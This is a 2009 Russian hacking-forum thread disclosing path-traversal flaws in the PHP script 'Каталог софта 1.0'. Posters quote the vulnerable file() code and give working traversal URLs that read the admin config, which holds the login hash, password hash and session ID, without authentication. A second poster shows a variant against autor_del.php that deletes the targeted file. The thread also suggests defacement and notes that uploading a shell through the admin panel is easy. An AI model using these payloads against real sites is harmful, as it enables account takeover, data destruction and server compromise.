Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости Каталог софта 1.0 (https://forum.antichat.xyz/showthread.php?t=138840)

FriLL 01.09.2009 21:21

Уязвимости Каталог софта 1.0
 
Скрипт с сайта homescript.ru


Уязвимый код

PHP код:

 $file=file("db/autor/$_GET[id].txt");

          foreach(
$file as $line)
                     {
                       
$line=trim($line);
                       
$expl=explode("*",$line);

                       if(
file_exists("db/$expl[0]/$expl[1].txt"))$path="db";
                       else 
$path="db/pre_prog";

                       
$file_new=file("$path/$expl[0]/$expl[1].txt");
                       
$file_new[0]=trim($file_new[0]);
                       
$file_new[1]=trim($file_new[1]);
                       
$file_new[8]=trim($file_new[8]);
                       
$file_new[10]=trim($file_new[10]);
                       
$file_new[11]=trim($file_new[11]);
                       echo 
"<table width=80% style=\"border-bottom:$conf[69]px $conf[70] $conf[68]\" align=center>
                                  <tr>
                                     <td id=zip_head_prog_news>
$file_new[1]";
                                      
$stat=array();
                                           
$stat=file("db/stat/$expl[1].txt");
                                           
$stat=explode("*",$stat[0]);
                                           if(
$stat[0]!=0)
                                            {
                                              
$itog=ceil($stat[1]/$stat[0]);
                                              for(
$n=0;$n<$itog;$n++)echo "<img src=img/star.jpg border=0>";
                                            }
                                 echo 
"</td>
                                  </tr>
                                  <tr>
                                     <td id=zip_text_news>
$file_new[8]</td>
                                  </tr>
                                  <tr>
                                     <td id=zip_text_news><span id=zip_dat_news>
$file_new[10]</span></td>
                                  </tr>
                                  </table><br />"
;

                     } 



те читалка через file()

читаем конфиги (права админа не нужны)
admin/autor_prog.php?id=../../admin/conf/conf

Вывод идет в перемешку с error-ами
но прочесть это не мешает

в конфигах 3 строки
1) хеш логина
2) хеш пароля
3) идентификатор сессии админа

HAXTA4OK 01.09.2009 22:25

Ну давай дальше пойдем :)

файл autor_del

PHP код:

//Программы
       
$file=array();
          
$file=file("db/autor/$_GET[id].txt");
          foreach(
$file as $line)
        {
           
$line=trim($line);
           
$expl=explode("*",$line);
           
$cat_id[]=$expl[0];
           
$prog_id[]=$expl[1];
        } 

получается мы реализуем так:

http://127.0.0.1/file_zip/admin/autor_del.php?id=../../admin/conf/conf

но нас кидает на admin/index.php , затем просто возвращаем назад страницы и видим

Warning: file(db/autor/'.txt) [function.file]: failed to open stream: No such file or directory in C:\xampp\htdocs\file_zip\admin\autor_del.php on line 26

PS так пойдет? таже самая реализация, если не понятно напишу не просто кавычку

ЗЫ ну увидиш их зато в последний раз :) и если так подумать то это не уязвимость?в плане сделать не хорошо

FriLL 01.09.2009 22:32

и причем тут autor_del.php ??
(autor_del удаляет читаемый файл так что не
рекомендую его использовать)
s55.radikal.ru/i150/0909/c0/f728c908575c.jpg

Цитата:

ЗЫ ну увидиш их зато в последний раз
разве что для дефейса сойдет


между прочим в админке форма управения кодом,
так что залить шел не проблема


Время: 21:33